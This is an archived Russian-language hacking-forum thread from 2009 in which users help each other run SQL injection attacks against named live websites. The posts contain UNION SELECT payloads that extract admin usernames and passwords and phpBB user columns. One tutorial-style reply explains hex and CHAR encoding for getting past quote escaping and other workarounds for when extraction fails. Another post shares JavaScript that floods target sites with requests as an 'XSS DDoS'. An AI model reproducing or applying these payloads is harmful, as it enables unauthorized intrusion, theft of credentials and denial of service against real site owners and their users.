ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

10.01.2009, 20:41
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме: 1404552
Репутация:
568
|
|
что это?)
http://www.productdose.com/index.php?cat_id=2+or+1=1
|
|
|

10.01.2009, 20:42
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме: 3244717
Репутация:
1980
|
|
' or 1#
7 
|
|
|

11.01.2009, 05:43
|
|
Познающий
Регистрация: 06.11.2008
Сообщений: 93
Провел на форуме: 349682
Репутация:
30
|
|
Всем привет.
Подскажите, нипАнятна.
пытаюсь вывести данные из колонки admin:
=-345+union+select+1,2,concat_ws(0x3a,admin_user,adm in_password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,1 8,19+from+admin--
Ничего не выводит. Пробую лимит, тоже самое. Хэксил - пусто.
Пишу:
=-345+union+select+1,2,count(*),4,5,6,7,8,9,10,11,12 ,13,14,15,16,17,18,19+from+admin--
Выводит число 149
Чиво делаю не правильно?
|
|
|

11.01.2009, 12:47
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
Сообщение от Octave_Parango
пытаюсь вывести данные из колонки admin:
=-345+union+select+1,2,concat_ws(0x3a,admin_user,adm in_password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,1 8,19+from+admin--
Ничего не выводит. Пробую лимит, тоже самое. Хэксил - пусто.
Пишу:
=-345+union+select+1,2,count(*),4,5,6,7,8,9,10,11,12 ,13,14,15,16,17,18,19+from+admin--
Выводит число 149
Гоняем одни и те-же вопросы по кругу.
Господа, вывод это не мёд (вроде есть, и сразу нет), он или есть, или нет.
Если Вы видите вывод цифры, то он есть 100%, а невозможность вывода данных может быть только в нескольких случаях
1 Таблица пустая
Проверяется count(*)
union+select+1,2,count(*),4+from+user
либо для 5 ветки так
union+select+1,table_rows+from+information_schema. tables+where+table_name='user'
Если ковычки слешируются, перевести название таблицы/колонки в hex или в CHAR, кому как нравится
Для hex это выглядит так(добавляем к hex впереди 0x что-бы база поняла, что за данные мы ей втюхиваем):
union+select+1,table_rows+from+information_schema. tables+where+table_name=0x7573657273
для CHAR так:
union+select+1,table_rows+from+information_schema. tables+where+table_name=char(117,115,101,114,115)
Как видим обошлись без ковычек (сдесь table_name=users)
Некоторые индивидумы умудряются загонять в хекс или чар вместе с ковычками, тоесть так 'users'=27757365727327, так делать ненадо, я Вас умоляю )
Внимание, операторы, функции, и т.д переводить в hex или char нельзя(точнее, переводить то можно, но база Вас не поймёт ))
2 Таблица в другой базе
В базе information_schema хранится информация обо всех таблицах и столбцах из всех баз, и есть вероятность того, что ваша таблица находится не в той базе с которой работает скрипт
Проверяем(5 ветка) :
table_schema+from+information_schema.tables+where+ table_name='user', а база с которой работает скрипт выводится database(). Если базы разные, пробуем обратится к той которая нужна
union+select+1,2,count(*),4+from+base.user (по аналогии с mysql.user)
3 Несоответствие кодировки
Что-бы получить данные в нужной нам кодировке можно пользоваться либо функциями приведения типов:
cast(Version()+as+binary)
CONVERT(Version(),binary)
convert(version()+using+latin1)
Либо шифровать/дешифровать данные. Результат при этом возвращается уже в "правильной" кодировке
aes_decrypt(aes_encrypt(Version(),1),1)
unhex(hex(version()))
4 Несоответствие типа данных
MySql к типам данных лоялен, а вот другие базы нет.Если база не mysql, читаем статьи по своей базе и приводим данные к нужному типу.
5 Закрыт доступ к таблице\базе
Опять-же, в mysql нельзя ограничить доступ к таблице, (можно только к базе), а в некоторых других базах можно
*Все примеры даны для mysql , в других базах другой синтаксис(читаем статьи)
Это основные причины невозможности вывода данных, которые решат 99% ваших вопросов.
|
|
|

11.01.2009, 07:08
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме: 1571865
Репутация:
571
|
|
Попробуй без concat'а.
Код:
-345+union+select+1,2,admin_password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,1 8,19+from+admin--
|
|
|

11.01.2009, 07:47
|
|
Познающий
Регистрация: 06.11.2008
Сообщений: 93
Провел на форуме: 349682
Репутация:
30
|
|
R1dex, уже пробовал, не катит. хммммм...
|
|
|

11.01.2009, 08:06
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме: 1571865
Репутация:
571
|
|
Сообщение от Octave_Parango
R1dex, уже пробовал, не катит. хммммм...
Даже не знаю..
Может там две таблицы admin? Одна лежит в бд к которой ты подключен, но в ней нет колонок "admin_user","admin_password".
А вторая в другой бд и в ней как раз эти колонки?
Маловероятно, конечно, но вдруг ^^
А вообще - лучше линк выкладывать...
|
|
|

11.01.2009, 07:54
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме: 1404552
Репутация:
568
|
|
кто что знает от xss ddos?
например через функцию ajax:
setInterval("ajaxFunction()",5)
или вот это:
var req;
var targets = new Array("http://google.com","http://yandex.ru");
function SendHTTP(url) {
req = false;
if (window.XMLHttpRequest) { // не ИЕ
req = new XMLHttpRequest();
} else if (window.ActiveXObject) { // ИЕ
req = new ActiveXObject("Microsoft.XMLHTTP");
}
if (req) {
req.open("GET", url, true);
req.send();
}
}
function terror() {
for (i=0;i<targets.length;i++) {
SendHTTP(targets[i]);
}
}
Последний раз редактировалось sabe; 11.01.2009 в 08:55..
|
|
|

11.01.2009, 08:43
|
|
Познающий
Регистрация: 20.01.2008
Сообщений: 44
Провел на форуме: 103485
Репутация:
4
|
|
Ребята, такой вопрос. Нашол таблицу phpbb_users, при запросе
http://www.cdma.kh.ua/articles/index.php?view=article&id=-999%20union%20select%201,column_name,3+from+inform ation_schema.columns+where+table_name=%27phpbb_use rs%27+limit+1,1
выбивало ошибку, прочитал весь форум, понял, нада закодирывать...кодирнул в чар...выдаёт тупо пустую страницу....В чём моя ошибка....подскажите плиз..всю ночь просидел.
|
|
|

11.01.2009, 08:49
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме: 1571865
Репутация:
571
|
|
Возможно, ты кодируешь 'phpbb_users', а нужно phpbb_users. (без кавычек)
Код:
http://www.cdma.kh.ua/articles/index.php?view=article&id=-999%20union%20select%201,column_name,3+from+information_schema.columns+where+table_name=0x70687062625f7573657273+limit+1,1--
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|